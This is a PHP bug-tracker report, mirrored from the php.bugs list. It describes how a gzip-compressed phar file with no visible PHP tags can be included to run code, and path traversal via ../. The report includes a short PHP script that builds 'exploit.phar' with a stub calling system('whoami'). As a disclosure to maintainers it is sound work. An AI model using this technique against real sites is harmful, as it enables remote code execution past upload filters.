[php-src] Issue #19314: The file content does not contain PHP tags, but it can be included to execute code

From: Date: Wed, 30 Jul 2025 15:53:55 +0000
Subject: [php-src] Issue #19314: The file content does not contain PHP tags, but it can be included to execute code
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-250530@lists.php.net to get a copy of this message
Issue: https://github.com/php/php-src/issues/19314 Author: heihu577 ### Description First, prepare a phar file generator, and put the statements we want to include into the $stub variable in terms of content: ```php <?php $phar = new Phar('exploit.phar'); $phar -> startBuffering(); $stub = <<< 'STUB' <?php system('whoami'); __HALT_COMPILER(); ?> STUB; $phar -> setStub($stub); $phar -> addFromString('test.txt', 'test'); $phar -> stopBuffering(); ?> ``` After generating the exploit.phar file, use gzip to compress it into an exploit.phar.gz file: <img width="1876" height="371" alt="Image" src="https://github.com/user-attachments/assets/558a5f2a-a24a-426c-9085-f4a4d8ed3dc3" /> It includes: <img width="1314" height="781" alt="Image" src="https://github.com/user-attachments/assets/3811ad50-477c-4a63-b04e-884cbca729c2" /> At this moment, the exploit.phar.gz file does not contain sensitive keywords such as <?php, which means it is vulnerable to RCE (Remote Code Execution): <img width="1606" height="556" alt="Image" src="https://github.com/user-attachments/assets/9699e6ac-b6d7-4cfe-a5e8-a5281e652909" /> Apart from the code flow, there is actually a problem with the judgment condition in the audit of the underlying include: <img width="2096" height="1050" alt="Image" src="https://github.com/user-attachments/assets/3b4c9309-4770-4c6f-a074-57c32bf91906" /> You can also directly use ../ to jump to any file name: <img width="1620" height="1501" alt="Image" src="https://github.com/user-attachments/assets/2a8fed2e-fc4e-446b-a2a9-d6893ca3e405" /> ### PHP Version ```plain PHP8.x ``` ### Operating System _No response_

« previous php.bugs (#250530) next »